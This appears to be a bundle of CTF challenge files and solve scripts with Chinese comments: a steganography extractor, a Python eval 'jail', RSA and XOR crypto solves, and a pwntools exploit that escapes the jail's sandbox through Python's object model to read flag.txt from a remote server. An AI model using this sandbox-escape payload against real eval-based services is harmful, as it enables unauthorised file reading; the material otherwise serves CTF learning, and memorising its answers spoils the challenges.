from PIL import Image

def extract_message(image_path):
    try:
        # 打开图片并转换为RGB模式（确保处理统一格式）
        img = Image.open(image_path).convert("RGB")
        width, height = img.size
        pixels = img.load()
        
        # 用于存储提取的字符
        message = []
        current_byte = 0  # 当前正在构建的字节
        bits_collected = 0  # 已收集的位数
        
        # 逆序遍历像素（从最后一个像素到第一个像素）
        for y in reversed(range(height)):
            for x in reversed(range(width)):
                # 获取绿色通道的LSB（最低有效位）
                lsb = pixels[x, y][1] & 1
                current_byte = (current_byte << 1) | lsb
                bits_collected += 1
                
                # 每收集8位转换为一个字符
                if bits_collected == 8:
                    char = chr(current_byte)
                    # 遇到空字符终止提取
                    if char == '\x00':
                        return ''.join(message)
                    message.append(char)
                    # 重置字节收集器
                    current_byte = 0
                    bits_collected = 0
        
        # 如果遍历完所有像素仍未遇到终止符，返回已收集内容
        return ''.join(message)
    
    except Exception as e:
        return f"Error: {str(e)}"

# 使用示例
extracted = extract_message("stego.png")
print(extracted)

# jail.py

#!/usr/bin/env python

import importlib

blacklist = [
	"os", "posix", "subprocess",
	"shutil", "pickle", "marshal",
	"csv", "pdb", "tty", "pty"
]

def secure_importer(name, globals=None, locals=None, fromlist=(), level=0):
	if name in blacklist:
		raise ImportError("module '%s' is restricted." % name)
	return importlib.__import__(name, globals, locals, fromlist, level)


def isnumber(v):
	assert type(v) in [int, float], "Only numbers are valid"
	return True


# ensure you don't use blacklist
__builtins__.__dict__['__import__'] = secure_importer

def main():
	while True:
		num1 = input("Enter number1: ")
		num2 = input("Enter number2: ")
		operator = input("Enter operator: ")
		if operator not in ["*", "+", "/", "-"]:
			print("Invalid operator")
			exit()

		code = f"({num1}) {operator} ({num2})"
		result = eval(code, {'__builtins__':{},'globals': {}}, {'__builtins__':{}})
		isnumber(result)
		print(f"{code} = {result}")

try:
	main()
except Exception as exp:
	print(f"[-] Error: {exp}")

from pwn import *

# 目标服务器的地址和端口
url = "ecal.fmc.tf"
port = 5000

# 创建一个远程连接对象
conn = remote(url, port)

# 构造 Payload 模板
# 利用 Python 的对象模型绕过沙箱限制，读取 flag.txt 文件内容
tmp = b'(1).from_bytes([i for i in ().__class__.__mro__[1].__subclasses__() if "_wrap_close" in i.__name__][0].__init__.__builtins__["open"]("flag.txt").read()[%d].encode())\n'

# 初始化变量
ind = 0  # 用于记录当前读取的字符索引
flag = ""  # 用于存储最终的 Flag

# 循环读取 flag 的每个字符，直到读取到右大括号 `}` 结束
while not flag.endswith("}"):
    try:
        # 发送 Payload，逐字符读取 flag
        conn.send(tmp % ind)  # 发送表达式
        conn.send(b"0\n")     # 输入 num1（占位符，满足程序要求）
        conn.send(b"+\n")     # 输入 operator（占位符，满足程序要求）

        # 接收服务器返回的结果
        r = conn.recv(1000)  # 接收服务器响应（最多 1000 字节）

        # 检查返回结果中是否包含等号 `=`，确保是有效的计算结果
        if b"=" in r:
            # 提取结果部分并转换为字符
            char = r.split(b"\n")[-2].split(b"=")[-1].strip().decode()

            # 将提取的数字转换为字符并拼接到 Flag 中
            flag += chr(int(char))
            print(f"\r{flag}", end="")  # 实时打印当前 Flag 进度

        # 更新索引，准备读取下一个字符
        ind += 1

    except Exception as e:
        # 如果发生异常（如网络中断或服务器返回错误），打印错误信息并退出循环
        print(f"\nError: {e}")
        break

# 关闭连接
print("\n")
conn.close()

# EX_RSA.py
from Crypto.Util.number import getPrime
import os

flag = os.getenv("FLAG", "FMCTF{F4K3_FL49}")
m = int(flag.encode().hex(), 16)

p = getPrime(512)
q = getPrime(512)

n = p*q
e = 65537
c = pow(m, e, n)

hint = p+q

print(f"{hint = }")
print(f"{n = }")
print(f"{c = }")

# hint = 17469292153344571442220879753705314094982989674618803961044325274734902918518047825543639089360378046111761829828690097867206972174713085299385569035446604
# n = 72178676992512160441554160179592383158203955928083976740488546189244761660478121450369459709272987174826935459768807973546852656122370605905453926547673003297830819475396600384101353650933279529161854454268770358323854195264696322371766082303954604264551309576730976571309522883511488619775495703381232031179
# c = 58920849369961001974878540043377399205173235403895163231084588694712964281923344842680972991777380071418111292770515352012869237864259800540355713208626735820573601770413846338478651482053989341163751620131823006414875347921150338651475973491744075397194132475674270761198474531891598902225518350430719735601

from Crypto.Util.number import inverse, long_to_bytes
import math

# 已知数据
hint = 17469292153344571442220879753705314094982989674618803961044325274734902918518047825543639089360378046111761829828690097867206972174713085299385569035446604
n = 72178676992512160441554160179592383158203955928083976740488546189244761660478121450369459709272987174826935459768807973546852656122370605905453926547673003297830819475396600384101353650933279529161854454268770358323854195264696322371766082303954604264551309576730976571309522883511488619775495703381232031179
c = 58920849369961001974878540043377399205173235403895163231084588694712964281923344842680972991777380071418111292770515352012869237864259800540355713208626735820573601770413846338478651482053989341163751620131823006414875347921150338651475973491744075397194132475674270761198474531891598902225518350430719735601
e = 65537

# Step 1: Solve for p and q using the quadratic equation
a = 1
b = -hint
c_quad = n

# Calculate discriminant
discriminant = b**2 - 4*a*c_quad
if discriminant < 0:
    raise ValueError("Discriminant is negative, no real roots!")

# Calculate roots
root1 = (-b + math.isqrt(discriminant)) // (2*a)
root2 = (-b - math.isqrt(discriminant)) // (2*a)

p, q = root1, root2

# Ensure p and q are correct
assert p * q == n, "p and q do not multiply to n!"

# Step 2: Compute phi(n) and private key d
phi_n = (p - 1) * (q - 1)
d = inverse(e, phi_n)

# Step 3: Decrypt c to get m
m = pow(c, d, n)

# Step 4: Convert m back to the flag
flag = long_to_bytes(m).decode()
print(f"Flag: {flag}")

from pwn import *
FLAG = os.environ.get("FLAG", "FMCTF{F4K3_FL49}").encode()
key = os.urandom(7)
encryptedFlag = xor(FLAG, key).hex()
print(f"encryptedFlag = {encryptedFlag}")
# encryptedFlag = a850d725cb56b0de4fcb40de72a4df56a72ec06cafa75ecb41f51c95

encrypted_hex = "a850d725cb56b0de4fcb40de72a4df56a72ec06cafa75ecb41f51c95"
encrypted_bytes = bytes.fromhex(encrypted_hex)

# 已知FLAG前缀
known_prefix = b"FMCTF{"
# 推导密钥前6字节
key = bytearray([encrypted_bytes[i] ^ known_prefix[i] for i in range(6)])

# 推导密钥的第7字节（假设最后一个字符是'}', 0x7D）
key.append(encrypted_bytes[-1] ^ ord('}'))

# 使用密钥循环解密密文
flag = bytes([encrypted_bytes[i] ^ key[i % 7] for i in range(len(encrypted_bytes))])

print(flag.decode())